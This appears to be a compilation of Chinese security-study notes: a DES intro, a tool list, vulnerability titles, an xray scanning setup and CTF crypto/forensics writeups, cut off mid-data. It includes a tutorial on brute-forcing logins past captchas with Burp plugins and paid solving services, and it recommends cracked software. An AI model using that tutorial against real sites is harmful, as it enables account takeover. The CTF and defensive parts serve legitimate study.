2017_seccon_vigenere3d git:(master) python exp.py SECCON{Welc0me_to_SECCON_CTF_2017} 对称加密简介定义所谓对称加密就是采用单钥密码系统的加密方法,同一个密钥同时用于信息的加密和解密,也称为单密钥加密。 在对称加密中,密钥是控制加密及解密过程的指令;算法是一组规则,规定如何进行加密和解密。加密的安全性不仅取决于加密算法本身,密钥管理的安全性也同样重要。 对称算法的安全性依赖于密钥,泄漏密钥就意味着任何人都可以对他们发送或接收的消息解密,所以密钥的保密性对通信的安全性至关重要。 工作过程在对称加密中,数据发送方将明文(原始数据)和加密密钥一起经过加密算法处理后,使其变成复杂的加密密文发送出去;接收方收到密文后,若想解读原文,则需要使用加密密钥及相同算法的逆算法对密文进行解密,才能使其恢复成可读明文。在对称加密算法中,使用的密钥只有一个,发收信双方都使用这个密钥对数据进行加密和解密。 特点优点算法公开 、加密计算量小、速度块,适合对大量数据进行加密的场景。 不足之处密钥传输问题:,由于对称加密的加密和解密使用的是同一个密钥,所以对称加密的安全性就不仅仅取决于加密算法本身的强度,更取决于密钥是否被安全的保管,因此加密者如何把密钥安全的传递到解密者手里,就成了对称加密面临的关键问题。(比如,客户端不能直接存储对称加密的密钥,因为被反编译之后,密钥就泄露了,数据安全性就得不到保障,所以实际中一般都是客户端向服务端请求对称加密的密钥,而且密钥还得通过非对称加密加密后再传输。)密钥管理问题:随着密钥数量的增多,密钥的管理问题会逐渐显现出来。比如在加密用户的信息时,不能所有用户都用同一个密钥加密解密,否则,一旦一个用户密钥泄漏,就相当于泄露了所有用户的信息,因此需要为每一个用户单独的生成一个密钥并且管理,这样密钥管理的代价也会非常大。常用算法在对称加密算法中常用的算法有: RC4加密DES加密3DES加密AES加密 DES¶基本介绍¶DES全称为Data Encryption Standard,是典型的块加密,其基本信息如下 使用64位密钥中的56位,剩余的8位要么丢弃,要么作为奇偶校验位输入64位输出64位。明文经过16轮迭代得到密文。给出一张简单的DES 流程图。 再给一张比较详细的图。 其中 S盒的设计标准并未给出。 、
  2. 漏扫 nessus(Home版) openvas(在kali中安装openvas,注意挂代 理,不然会很慢很慢和报错) awvs(破解版-52pojie) APPscan (破解版) Burpsuite pro (破解版) mobsf (移动app客户端,支持ios,但是需要在mac上跑) Nmap/Zmap/masscan 端口扫描 漏洞管理 洞察insight smef Fuxi DefectDojo 项管 jira 禅道 src平台 SRCMS laravel-src 资产管理/自动化运维 xunfeng AssetsView 蓝鲸bk-cmdb OpsManage Ansible Saltstack soc sosrp w3a_SOC OpenSOC ossim 入侵检测/安全监控/流量回溯 suricata(selks) bro ossec(wazuh) Security Onion OwlH Nethserver Snort OpenWIPS-NG moloch 同程-驭龙 CloudWalker(牧云)现在只开放webshell查杀 Osquery web应用安全 ngx_lua_waf openstar ModSecurity openwaf openRASP x-waf jxwaf 终端安全集中管理 360企业版 火绒企业安全 堡垒机 jumpserver teleport 代码质量管理/代码审计 sonar + jekins cobra VCG fortify(破解版,找到最新的规则是2018.3) RIPS/Seay源代码审计系统(PHP)) Findbugs(JAVA) web日志审计 360星图 xlog lorg 日志分析系统 elk(es+logstash+kibana) Kibana_Hanization(kibana汉化) 上网行为管理/准入/认证 packetfence ikuai openldap 中央认证服务(CAS) 数据防泄漏 opendlp 基线检查/加固 CIS Lynis审计 WINSpect OpenSCAP github泄露扫描 x-patrol Hawkeye GSIL VKSRC/Github-Monitor 目录索引系统/个人网盘/文件共享 zdir nextcloud Seafile社区版 ownCloud OnionShare Pydio Cells 蜜罐 opencanary_web T-Pot mhn 钓鱼 P神的phishing mail_fishing blackeye Gophish API网关 GoKu-API-Gateway Kong 其他 WebRange(docker管理平台) app-host(内网app发布) AdvBox osquery PHP-SSO Scout(url监控平台) jxotp(SSH登陆双因素认证系统) DOClever lynis审计 archer walle-web(代码部署平台) apollo(配置中心) 长亭开源牧云cloudwalker(只有webshell检测部分) Nebula "星云"业务风控系统 美团DBProxy数据库防火墙 Linxu下 rkhunter/chkrootkit Win下 pchunter/ 火绒剑/ PowerTool/ ProcessExplorer/ ProcessHacker/ autoruns/ OTL Kaspersky Fastir_Collector_win取证 Fastir_Collector_Linux取证 D盾 webshell查杀 Sandboxie 个人版沙箱 ClamAV
  3. 一、使用reCAPTCHA插件进行验证码爆破 插件下载地址:https://github.com/bit4woo/reCAPTCHA/releases 1.浏览器输入网站登录页面,输入用户名和密码以及验证码,然后通过buspuit获取数据包 2.然后点击验证码获取验证码的地址,在proxy中找到获取图形验证码的请求,选中它并点击右键选择“Send to reCAPTCHA”,这个请求的信息将被发送到reCAPTCHA。 3.切换到reCAPTCHA标签,并配置所需的参数。当参数配置好后,你可以点击“请求”按钮来测试配置 这里需要注意的是,需要到https://www.jsdati.com/注册一个打码平台,然后购买点数,这里可以用1元购买测试。 username=xxx&password=xxxx&captchaType=1008. 这里的username是你注册的账号,password你注册账号的密码,aptchaType为你识别的验证码类型,该类型可以通过下面链接地址查询到 https://www.jsdati.com/docs/price 4.完成了配置并测试成功后,现在可以在Intruder中使用该插件生成的payload了。 有2种情况:用户名或密码之一+验证码;用户名+密码+验证码; 情况一:只有密码或只有用户名需要改变,我们可以用Pitchfork 模式来配置。 比如,已知系统存在一个用户admin,来爆破该用户,插入点标记如下, payload 1我们从文件中加载,这个不必多说。 payload 2 选择“Extension-Generated”. 运行效果如下: 情况二:用户名和口令都需要改变,这个稍微复杂点。我们还是使用Pichfork模式,但需要将用户名和密码一起标注为一个插入点。像这样: payload 1 使用“自定义迭代器(Custom interator)”。并在迭代器中组合用户名和密码。 在该例子中,即 position 1为用户名,postion 3为密码。 position 2 为“&j_password=” payload 2 的配置和情况一中的配置完全一样。 运行效果如图: 二、使用captcha-kiler插件进行验证码爆破 1. 插件下载地址: captcha-kiler:https://github.com/c0ny1/captcha-killer/tags 2.浏览器输入网站登录页面,输入用户名和密码以及验证码,然后通过buspuit获取数据包 3.然后点击验证码获取验证码的地址,通过buspuit拦截验证码获取地址,然后proxy--proxy history中发送数据包到repeater中,选中它并点击右键选择“send to captcha panel”,这个请求的信息将被发送到captcha-kiler 4.配置识别接口模板,这里通过(http://www.ttshitu.com/图鉴打码平台,(1元500次)) POST /base64 HTTP/1.1 Host: api.ttshitu.com Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: Hm_lvt_d92eb5418ecf5150abbfe0e505020254=1585994993,1586144399; SESSION=5ebf9c31-a424-44f8-8188-62ca56de7bdf; Hm_lpvt_d92eb5418ecf5150abbfe0e505020254=1586146123 Connection: close Content-Type: application/json; charset=UTF-8 Content-Length: 2658 {"username":"xxx","password":"xxxxx","typeid":"2","image":"<@BASE64><@IMG_RAW></@IMG_RAW></@BASE64>"} 注意:这里username填入图鉴打码平台的用户名,密码则为打码平台的密码,typeid为识别验证码的类型 5.设置匹配规则将result后面的验证码,标记为识别结果 6.最终可以看到识别的效果图 7.验证码爆破: 情况一:只有密码或只有用户名需要改变,我们可以用Pitchfork 模式来配置。 比如,已知系统存在一个用户admin,来爆破该用户的密码,插入点标记如下 payload 1我们从文件中加载密码字典 payload 2 选择“Extension-Generated”--captcha-killer插件 运行效果如下: 情况二:用户名和口令都需要改变,这个稍微复杂点。我们还是使用Pichfork模式,但需要将用户名和密码一起标注为一个插入点。像这样: payload 1 使用“自定义迭代器(Custom interator)”。并在迭代器中组合用户名和密码。 在该例子中,即 position 1为用户名 position 2 为“&is_manager=0&userpwd=” postion 3为密码 payload 2 选择“Extension-Generated”--captcha-killer插件 运行效果 三、使用xp_CAPTCHA插件进行验证码爆破 1.安装 需要python3 小于3.7的版本 安装 muggle_ocr 模块(大概400M左右) python3 -m pip install -i http://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com muggle-ocr 运行 server.py https://github.com/smxiazi/NEW_xp_CAPTCHA.git python server.py 等待显示出 Starting server, listen at: 0.0.0.0:8899 访问 http://127.0.0.1:8899/ 显示下面界面即为正常。 2.burp联动识别验证码爆破 如果 server.py 在服务器上跑的话,xp_CAPTCHA.py需要修改对应的IP。 先下载jypthon插件,并加重环境变量,修改完后导入burp https://repo1.maven.org/maven2/org/python/jython-standalone/2.7.0/jython-standalone-2.7.0.jar Attack type处选择 Pitchfork,在http头部位置插入xiapao:验证码的URL地址 此处导入密码字典 选择验证码识别 然后把线程设置为1
  4. 一、OA系统泛微(Weaver-Ecology-OA)🔸 泛微OA E-cology RCE(CNVD-2019-32204) - 影响版本7.0/8.0/8.1/9.0 🔸 泛微OA WorkflowCenterTreeData接口注入(限oracle数据库) 🔸 泛微ecology OA数据库配置信息泄露 🔸 泛微OA云桥任意文件读取 - 影响2018-2019 多个版本 🔸 泛微 e-cology OA 前台SQL注入漏洞 🔸 泛微OA系统 com.eweaver.base.security.servlet.LoginAction 参数keywordid SQL注入漏洞 🔸 泛微 OA sysinterface/codeEdit.jsp 页面任意文件上传 致远(Seeyon)🔸 致远OA-A8 htmlofficeservlet getshell 漏洞 🔸 致远OA Session泄漏漏洞 🔸 致远OA A6 search_result.jsp sql注入漏洞 🔸 致远OA A6 setextno.jsp sql注入漏洞 🔸 致远OA A6 重置数据库账号密码漏洞 🔸 致远OA A8 未授权访问 🔸 致远OA A8-v5 任意用户密码修改 🔸 致远OA A8-m 后台万能密码 🔸 致远OA 帆软报表组件 前台XXE漏洞 🔸 致远OA帆软报表组件反射型XSS&SSRF漏洞 Thinks:LandGrey 蓝凌OA暂无(希望大佬能提供) 通达OA🔸 通达OA任意文件删除&文件上传RCE分析(2020年hw 8月0day) 🔸 通达OA任意文件上传/文件包含GetShell 🔸 通达OA<11.5版本 任意用户登录 🔸 通达OA 11.2后台getshell 🔸 通达OA 11.7 后台sql注入getshell漏洞 金蝶OA🔸 金蝶协同办公系统 GETSHELL漏洞 二、E-mailExchange🔸 CVE-2020-17083 Microsoft Exchange Server 远程执行代码漏洞 🔸 Microsoft Exchange远程代码执行漏洞(CVE-2020-16875) 🔸 CVE-2020-0688_微软EXCHANGE服务的远程代码执行漏洞 🔸 Microsoft Exchange任意用户伪造漏洞 🔸 Exchange 历史漏洞合集 coremail🔸 coremail 配置信息泄露及接口未授权漏洞 🔸 Coremail的存储型XSS漏洞 🔸 Coremail 历史漏洞合集 三、web中间件Apache🔸 Apache Solr RCE—【CVE-2019-0192】 🔸 CVE-2018-1335:Apache Tika 命令注入 🔸 Apache Axis1(<=1.4版本) RCE 🔸 Apache Solr 模版注入漏洞(RCE) 🔸 Apache Shiro权限绕过漏洞(CVE-2020-11989) 🔸 Shiro remeberMe反序列化漏洞(Shiro-550) 🔸 Apache历史漏洞合集 Tomcat🔸 Tomcat信息泄漏和远程代码执行漏洞【CVE-2017-12615/CVE-2017-12616】 🔸 Tomcat Ghostcat - AJP协议文件读取/文件包含漏洞 🔸 Tomcat全版本命令执行漏洞 CVE-2019-0232 🔸 Tomcat后台部署war木马getshell 🔸 CVE-2016-1240 Tomcat本地提权漏洞 🔸 Tomcat历史漏洞合集 Weblogic🔸 CVE-2020–14882 Weblogic 未经授权绕过RCE 🔸 Weblogic 远程命令执行漏洞分析(CVE-2019-2725) 🔸 CVE-2019-2618任意文件上传漏洞 🔸 WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271) 🔸 Weblogic任意文件读取漏洞(CVE-2019-2615)与文件上传漏洞(CVE-2019-2618) 🔸 Weblogic coherence组件iiop反序列化漏洞 (CVE-2020-14644) 🔸 Weblogic历史漏洞合集 JBoss🔸 CVE-2017-7504-JBoss JMXInvokerServlet 反序列化 🔸 JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149) 🔸 JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504) 🔸 JBOSS远程代码执行漏洞 🔸 JBoss JMX Console未授权访问Getshell 🔸 JBoss历史漏洞合集 四、源代码管理GitLab🔸 GitLab任意文件读取漏洞CVE-2020-10977 🔸 GitLab远程代码执行漏洞分析 -【CVE-2018-14364】 🔸 GitLab 任意文件读取 (CVE-2016-9086) 和任意用户token泄露漏洞 🔸 GitLab历史漏洞合集 SVN🔸 SVN源码泄露漏洞 五、项目管理系统禅道🔸 CNVD-C-2020-121325 禅道开源版文件上传漏洞 🔸 禅道9.1.2 免登陆SQL注入漏洞 🔸 禅道 ≤ 12.4.2 后台管理员权限Getshell 🔸 禅道9.1.2 权限控制逻辑漏洞 🔸 禅道826版本一定条件getshell 🔸 禅道远程代码执行漏洞 🔸 禅道11.6任意文件读取 Jira🔸 Atlassian Jira漏洞大杂烩 🔸 Jira服务工作台路径遍历导致的敏感信息泄露漏洞(CVE-2019-14994) 🔸 Jira未授权SSRF漏洞(CVE-2019-8451) 🔸 Atlassian JIRA服务器模板注入漏洞(CVE-2019-11581) 🔸 CVE-2019-8449 JIRA 信息泄漏漏洞 🔸 Jira历史漏洞合集 六、数据库Redis🔸 Redis未授权访问漏洞利用总结 🔸 Redis 4.x RCE 🔸 redis利用姿势收集 🔸 Redis历史漏洞合集 Mysql🔸 Mysql提权(CVE-2016-6663、CVE-2016-6664组合实践) 🔸 Mysql数据库渗透及漏洞利用总结 🔸 Mysql 注入专辑 🔸 PhpMyadmin的几种getshell方法 🔸 高版本MySQL之UDF提权 🔸 Mysql历史漏洞合集 Mssql🔸 Mssql利用姿势整理(史上最全) 🔸 Mssql数据库命令执行总结 🔸 利用mssql模拟登录提权 🔸 高级的MSSQL注入技巧 🔸 MSSQL使用CLR程序集来执行命令
  5. 一、xray的安装和配置1.下载linux下的xray可执行文件[root@instance-7q32v011 opt]#wget https://github.com/chaitin/xray/releases/download/0.21.8/xray_linux_amd64.zip 2.解压文件[root@instance-7q32v011 opt]# unzip xray_linux_amd64.zip3.运行xray可执行文件生成证书和配置文件 [root@instance-7q32v011 opt]# ./xray_linux_amd64 genca4.配置config.yaml [root@instance-7q32v011 crawlergo-to-xray]# vi config.yaml 这里主要配置认证登录的username以及password和cookie值,针对登录系统爬虫。二、Server酱的配置1.登入:用GitHub账号登入网站,就能获得一个SCKEY(在「发送消息」页面) 2.绑定:点击「微信推送」,扫码关注同时即可完成绑定 3.发消息:往 http://sc.ftqq.com/SCKEY.send 发GET请求,就可以在微信里收到消息啦如生成这样的get请求:https://sc.ftqq.com/SCU100930Te4d1xxxxxxxxxxxxxxxxx5e1fc35edd9f5bac3e2.send(记下这个地址,后面需要) 三、启动webhook和修改配置[root@instance-7q32v011 opt]# git clone https://github.com/undefinedsec/crawlergo-to-xray.git[root@instance-7q32v011 opt]# cd crawlergo-to-xray/[root@instance-7q32v011 crawlergo-to-xray]# vi webhook.py 下面主要对其requests.post中参数值进行修改,修改为上面得到的get请求值。[root@instance-7q32v011 crawlergo-to-xray]# python3 webhook.py[root@instance-7q32v011 crawlergo-to-xray]# nohup python3 webhook.py > webhook.log 2>&1 & [root@instance-7q32v011 crawlergo-to-xray]# tail -f webhook.log 四、启动xray和修改配置启动xray并查看日志(需要自行修改xray的配置文件以及命令行中的的配置,建议在xray里面配置username和password,以及[xray_port和webhook_port端口) 1.nohup ./xray_linux_amd64 webscan --listen 127.0.0.1:7777 --webhook-output http://127.0.0.1:5000/webhook --html-output xray.html > xray.log 2>&1 &2.查看xray日志[root@instance-7q32v011 crawlergo-to-xray]# tail -f xray.log 五、下载和安装linux版本的chrome1.[root@instance-7q32v011 ~]wget https://dl.google.com/linux/direct/google-chrome-stable_current_x86_64.rpm[root@instance-7q32v011 ~] rpm -ivh google-chrome-stable_current_x86_64.rpm --nodeps --force [root@instance-7q32v011 ~] whice google-chrome-stable 六、启动crawlergo和修改配置[root@instance-7q32v011 crawlergo-to-xray]# vi crawlergo.py一般修改chorme的路径地址以及代理IP地址如果需要更准确的爬虫,需要设置cookie和user-agent信息以及加上代理的ip和用户名和密码,cookieh和user-agent值可以通过登录系统后,xyay的代理IP和用户名和密码,可以根据前面设置的xray的配置获得。抓包获取./crawlergo", "-c", "/usr/bin/google-chrome","-t", "10","-f","smart","--fuzz-path", "--output-mode", "json","--ignore-url-keywords", "quit,exit,logout", "--custom-headers", simplejson.dumps(headers),"--robots-path","--log-level","debug","--push-to-proxy","http://xray_username:xray_password@xray_ip:xray_port",target以及headers = { "User-Agent": "", "Cookie": "" }[root@instance-7q32v011 crawlergo-to-xray]# vi targets.txt[root@instance-7q32v011 crawlergo-to-xray]# nohup python3 crawlergo.py > crawlergo.log 2>&1 &[root@instance-7q32v011 crawlergo-to-xray]# tail -f crawlergo.log七,最终可以在微信端查看到漏洞情况
  6. 一、js代码分析之编码转换writeup:打开index.html <script src="script-min.js"></script> //首先调用.js脚本 <script type="text/javascript"> var ic = false; #默认ic值为false var fg = ""; function getFlag() { //function函数内的getfFlag按钮会触发相应事件 var token = document.getElementById("secToken").value; // #获取文本输入框中的值赋值给token ic = checkToken(token); //调用checkToken(token)这个函数进行检查赋值,该函数包在.js脚本中包含 fg = bm(token); //调用checkToken(token)这个函数进行赋值 showFlag() //定义showFlag() 函数 } function showFlag() { //showFlag()函数的输出功能 var t = document.getElementById("flagTitle"); var f = document.getElementById("flag"); t.innerText = !!ic ? "You got the flag below!!" : "Wrong!"; t.className = !!ic ? "rightflag" : "wrongflag"; f.innerText = fg; } </script> </head> <body> <h1>Flag in your Hand</h1> <p>Type in some token to get the flag.</p> <p>Tips: Flag is in your hand.</p> <div> <p> <span>Token:</span> <span><input type="text" id="secToken"/></span> </p> <p> <input type="button" value="Get flag!" onclick="getFlag()" /> </p>2.很明显的看到了点击按钮触发getFlag函数,ic默认是false,调用checkToken(token)这个函数,那么说明checkToken函数就是关键点了。 3.打开checkToken函数看看里面的内容,难道说flag就是FAKE-TOKEN4.然而输入之后还是提示错误,那就只剩fg = bm(token);这句代码有问题了 5.直接搜索ic,说明ic肯定是在这面变成false的 6.直接点击左侧图标下断点吧,然后点击按钮,成功的断了下来,发现函数参数s就是我输入的变量,然后比较s和a的长度,接着用s的值减3和a的值相比较,如果都没问题,那么就返回true7.因此只要反推出返回true的s即可。求解代码如下:a = [118, 104, 102, 120, 117, 108, 119, 124, 48, 123, 101, 120] s = "" for i in a: s += chr(i - 3) print(s) 8.在token框中输入security-xbu9.最终得到flag:RenIbyd8Fgg5hawvQm7TDQ二、base64编码之键盘密码writetup: 1.打开文件后得到两串十六进制字符串636A56355279427363446C4A49454A7154534230526D6843 56445A31614342354E326C4B4946467A57694269614530672.将十六进制字符串转换成asciihttp://www.ab126.com/goju/1711.html得到:cjV5RyBscDlJIEJqTSB0RmhCVDZ1aCB5N2lKIFFzWiBiaE0g3.将其base64:得到:r5yG lp9I BjM tFhB T6uh y7iJ QsZ bhM 4.看到每4个字母中间有一个空格,再看看键盘,发现是键盘密码,即几个字母在键盘上围出了一个字母,例如r5yG围出的是t,lp9I围出了o。找到每组字⺟包围的字⺟组成flag即可.(不⽤加前缀)5.得到:r5yG-T,lp9I-O, BJM-N,tFhB-G, T6uh-Y,y7iJ-U,QsZ-A,bhM-N6.最终得到flag:TONGYUAN 三、工业流量包分析writeup:1.打开流量包,发现存在关于ARP、UDP、SNA协议的流量包,其中存在大量的UDP流量,如图所示:2.首先对UDP流量包进行分析,分析发现UDP流量包的长度存在大量相同,一共出现的长度分别为16 17 12 14 10 18 19 20 22 25 32 89 95 104 105 116 131 137 524 528,在这些长度中仅12,89,104,105,131,137出现一次,其余长度多次出现,于是猜测这仅出现一次的流量包存在异常。3.这里对12长度进行UDP流追踪,发现了可疑的字符 4.提取出字符串666c61677b37466f4d3253746b6865507a7d,并转换成对应ACII码http://www.ab126.com/goju/1711.html 5.最终得到Flag: flag{7FoM2StkhePz} 四、文本中有规律的大写字母1.下载附件后,发现是一个很大的文本,仔细观察文本,发现文本中有很多故意加粗的大写字母。 2.将大写过滤出来出来 cat f590c0f99c014b01a5ab8b611b46c57c.txt | grep -o '[A-Z]' | tr -d '\n'其中: grep -o 只显示匹配到的字符串tr -d 删除指定字符3.得到过滤的字符:ZEROONEZEROZEROZEROZEROONEZEROZEROONEZEROZEROONEZEROZEROONEZEROONEZEROONEZEROONEZEROZEROZEROONEZEROONEZEROZEROONEONEZEROONEZEROZEROZEROZEROONEONEZEROONEZEROONEZEROONEZEROZEROZEROONEZEROZEROZEROONEONEZEROZEROONEONEONEONEZEROONEONEZEROONEONEZEROONEZEROZEROZEROZEROZEROONEONEZEROZEROZEROONEZEROONEONEZEROZEROONEZEROZEROZEROZEROONEONEZEROZEROONEONEZEROONEZEROONEONEONEONEONEZEROZEROONEONEZEROZEROZEROONEZEROONEONEZEROONEONEONEZEROZEROONEZEROONEONEONEONEONEZEROONEONEONEZEROZEROZEROZEROZEROONEONEZEROONEONEZEROZEROZEROZEROONEONEZEROONEZEROZEROZEROZEROONEONEZEROZEROZEROONEZEROONEONEZEROONEONEONEZEROZEROONEZEROONEONEONEONEONEZEROZEROONEONEZEROONEZEROONEZEROZEROONEONEZEROZEROZEROONEZEROZEROONEONEZEROONEONEONEZEROZEROONEONEZEROZEROONEONEZEROONEONEONEONEONEZEROONE4.将文章中的所有大写字母提取出来,得到一串全部由ZERO与ONE组成的字符串,ZERO替换为数字0,ONE替换为数字1,从而得到一个二进制表示的数,再将此数转换为字符串即可。 010000100100100101010100010100110100001101010100010001100111101101101000001100010110010000110011010111110011000101101110010111110111000001101100001101000011000101101110010111110011010100110001001101110011001101111101 5.在线二进制转字符串: http://www.txttool.com/wenben_binarystr.asp 6.python脚本获取 #coding:utf-8from string import uppercase from Crypto.Util.number import long_to_bytes def solve(): with open('data.txt','r') as f: #data.txt是上面过滤的大写字母 data=f.read() cip='' for c in data: if c in uppercase: cip+=c cip=cip.replace('ZERO','0') cip=cip.replace('ONE','1') return long_to_bytes(long(cip,2)) if __name__=='__main__': print solve() 7.得到flag:BITSCTF{h1d3_1n_pl41n_5173} 五、RSA解密题目描述:Fady同学以为你是菜鸟,不怕你看到他发的东西。他以明文形式将下面这些东西发给了他的朋友 :p=0xa6055ec186de51800ddd6fcbf0192384ff42d707a55f57af4fcfb0d1dc7bd97055e8275cd4b78ec63c5d592f567c66393a061324aa2e6a8d8fc2a910cbee1ed9 q=0xfa0f9463ea0a93b929c099320d31c277e0b0dbc65b189ed76124f5a1218f5d91fd0102a4c8de11f28be5e4d0ae91ab319f4537e97ed74bc663e972a4a9119307 e=0x6d1fdab4ce3217b3fc32c9ed480a31d067fd57d93a9ab52b472dc393ab7852fbcb11abbebfd6aaae8032db1316dc22d3f7c3d631e24df13ef23d3b381a1c3e04abcc745d402ee3a031ac2718fae63b240837b4f657f29ca4702da9af22a3a019d68904a969ddb01bcf941df70af042f4fae5cbeb9c2151b324f387e525094c41 c=0x7fe1a4f743675d1987d25d38111fae0f78bbea6852cba5beda47db76d119a3efe24cb04b9449f53becd43b0b46e269826a983f832abb53b7a7e24a43ad15378344ed5c20f51e268186d24c76050c1e73647523bd5f91d9b6ad3e86bbf9126588b1dee21e6997372e36c3e74284734748891829665086e0dc523ed23c386bb520 他严重低估了我们的解密能力writeup: 1.将题目中的十六进制类型转换成十进制: https://tool.lu/hexconvert/ p=8695224115036335558506571119739296036271134788610181138168484331081777972517240308721981280176995392696427341397469232176120700610749965333026113898553049 q=13096749823995628078930936161926731366955083380107539950861609990671457149850288846976369982960384583841424977220385144435351119887497145134804975486079751 e=76629781387397242664311670987431757827144139255639280752983416867031015307352014386648673994217913815581782186636488159185965227449303118783362862435899486717504457233649829563176353949817149997773276435581910370559594639570436120596211148973227077565739467641309426944529006537681147498322988959979899800641 c=898013894435695699573984069547075984927639234185685360303235460882787583623310431197364379101176970325948359029005820403943674808298008972319252338077452783893580314042780646333136261493367249458548650414390611494119625092476244194480036048744062822136093417043390251690152562280292002226433434300288280630082.通过脚本获取RSA的M值 # coding=utf-8 import gmpy2 from Crypto.Util.number import * from gmpy2 import iroot,invert p=8695224115036335558506571119739296036271134788610181138168484331081777972517240308721981280176995392696427341397469232176120700610749965333026113898553049 q=13096749823995628078930936161926731366955083380107539950861609990671457149850288846976369982960384583841424977220385144435351119887497145134804975486079751 e=76629781387397242664311670987431757827144139255639280752983416867031015307352014386648673994217913815581782186636488159185965227449303118783362862435899486717504457233649829563176353949817149997773276435581910370559594639570436120596211148973227077565739467641309426944529006537681147498322988959979899800641 c=89801389443569569957398406954707598492763923418568536030323546088278758362331043119736437910117697032594835902900582040394367480829800897231925233807745278389358031404278064633313626149336724945854865041439061149411962509247624419448003604874406282213609341704339025169015256228029200222643343430028828063008 N = p * q d = int(gmpy2.invert(e , (p-1) * (q-1))) phi=(p-1)*(q-1) print(phi) d=int(invert(e,phi)) m=pow(c,d,N) print(long_to_bytes(m))3,最终得到flag:ALEXCTF{RS4_I5_E55ENT1AL_T0_D0_BY_H4ND},六、诗歌decrypted messagewriteup:1.下载题目附件可以看到如下信息:The life that I haveIs all that I haveAnd the life that I haveIs yours. The love that I haveOf the life that I haveIs yours and yours and yours. A sleep I shall haveA rest I shall haveYet death will be but a pause. For the peace of my yearsIn the long green grassWill be yours and yours and yours. decrypted message: emzcf sebt yuwi ytrr ortl rbon aluo konf ihye cyog rowh prhj feom ihos perp twnb tpak heoc yaui usoa irtd tnlu ntke onds goym hmpq可以看到上面是一段诗歌文字以及以及 decrypted message (解密消息)2.这是一种比较奇特的加密方式,叫做Poem Codes,详见:http://wmbriggs.com/post/1001/ 加密过程如下:(1)就其算法而言,去诗歌头一个单词,全部罗列出来,然后所有单词的字母按字母表排序并编码,如第一个a为1,第二个a为2,如果没有a了就看b,第一个b为3,第二个b为4,一直排列下去。。。(2)将要加密的信息的字母每18个一行(不足一行的abcdef....补足)(3)将加密的信息第一个字母对应第一步的编码数字,到第二步生成的字母表中取某列。(4)分组即成加密信息。解密过程非常复杂,不过,有人已经写好了解密工具,详见:https://github.com/abpolym/crypto-tools/tree/master/poemcode3.先将以下信息保存为poem.txtThe life that I haveIs all that I haveAnd the life that I haveIs yours. The love that I haveOf the life that I haveIs yours and yours and yours. A sleep I shall haveA rest I shall haveYet death will be but a pause. For the peace of my yearsIn the long green grassWill be yours and yours and yours.然后将以下信息保存为:messgemzcf sebt yuwi ytrr ortl rbon aluo konf ihye cyog rowh prhj feom ihos perp twnb tpak heoc yaui usoa irtd tnlu ntke onds goym hmpq4.执行python脚本进行解密python poemcode.py poem.txt messg5.猜解出一大堆消息,选择最像的那条即可,flag:ifyouthinkcryptographyistheanswertoyourproblemthenyoudonotknowwhatyourproblemisabcdefghijklmnopqrstu七、RSA低加密指数广播攻击基础知识:如果选取的加密指数较低,并且使用了相同的加密指数给一个接受者的群发送相同的信息,那么可以进行广播攻击得到明文。 即,选取了相同的加密指数e(这里取e=3),对相同的明文m进行了加密并进行了消息的传递,那么有: $ c_1equiv m^e$ $mod$ $n_1$ $ c_2equiv m^e$ $mod$ $n_2$ $ c_3equiv m^e$ $mod$ $n_3$ 对上述等式运用中国剩余定理,在e=3时,可以得到: $ c_xequiv m^3$ $mod$ $n_1n_2n_3$ 通过对$ c_x $进行三次开方可以求得明文。 writeup: 1.题目内容为:[{"c": 7366067574741171461722065133242916080495505913663250330082747465383676893970411476550748394841437418105312353971095003424322679616940371123028982189502042, "e": 10, "n": 25162507052339714421839688873734596177751124036723831003300959761137811490715205742941738406548150240861779301784133652165908227917415483137585388986274803},{"c": 21962825323300469151795920289886886562790942771546858500842179806566435767103803978885148772139305484319688249368999503784441507383476095946258011317951461, "e": 10, "n": 23976859589904419798320812097681858652325473791891232710431997202897819580634937070900625213218095330766877190212418023297341732808839488308551126409983193},{"c": 6569689420274066957835983390583585286570087619048110141187700584193792695235405077811544355169290382357149374107076406086154103351897890793598997687053983, "e": 10, "n": 18503782836858540043974558035601654610948915505645219820150251062305120148745545906567548650191832090823482852604346478335353784501076761922605361848703623},{"c": 4508246168044513518452493882713536390636741541551805821790338973797615971271867248584379813114125478195284692695928668946553625483179633266057122967547052, "e": 10, "n": 23383087478545512218713157932934746110721706819077423418060220083657713428503582801909807142802647367994289775015595100541168367083097506193809451365010723},{"c": 22966105670291282335588843018244161552764486373117942865966904076191122337435542553276743938817686729554714315494818922753880198945897222422137268427611672, "e": 10, "n": 31775649089861428671057909076144152870796722528112580479442073365053916012507273433028451755436987054722496057749731758475958301164082755003195632005308493},{"c": 17963313063405045742968136916219838352135561785389534381262979264585397896844470879023686508540355160998533122970239261072020689217153126649390825646712087, "e": 10, "n": 22246342022943432820696190444155665289928378653841172632283227888174495402248633061010615572642126584591103750338919213945646074833823905521643025879053949},{"c": 1652417534709029450380570653973705320986117679597563873022683140800507482560482948310131540948227797045505390333146191586749269249548168247316404074014639, "e": 10, "n": 25395461142670631268156106136028325744393358436617528677967249347353524924655001151849544022201772500033280822372661344352607434738696051779095736547813043},{"c": 15585771734488351039456631394040497759568679429510619219766191780807675361741859290490732451112648776648126779759368428205194684721516497026290981786239352, "e": 10, "n": 32056508892744184901289413287728039891303832311548608141088227876326753674154124775132776928481935378184756756785107540781632570295330486738268173167809047},{"c": 8965123421637694050044216844523379163347478029124815032832813225050732558524239660648746284884140746788823681886010577342254841014594570067467905682359797, "e": 10, "n": 52849766269541827474228189428820648574162539595985395992261649809907435742263020551050064268890333392877173572811691599841253150460219986817964461970736553},{"c": 13560945756543023008529388108446940847137853038437095244573035888531288577370829065666320069397898394848484847030321018915638381833935580958342719988978247, "e": 10, "n": 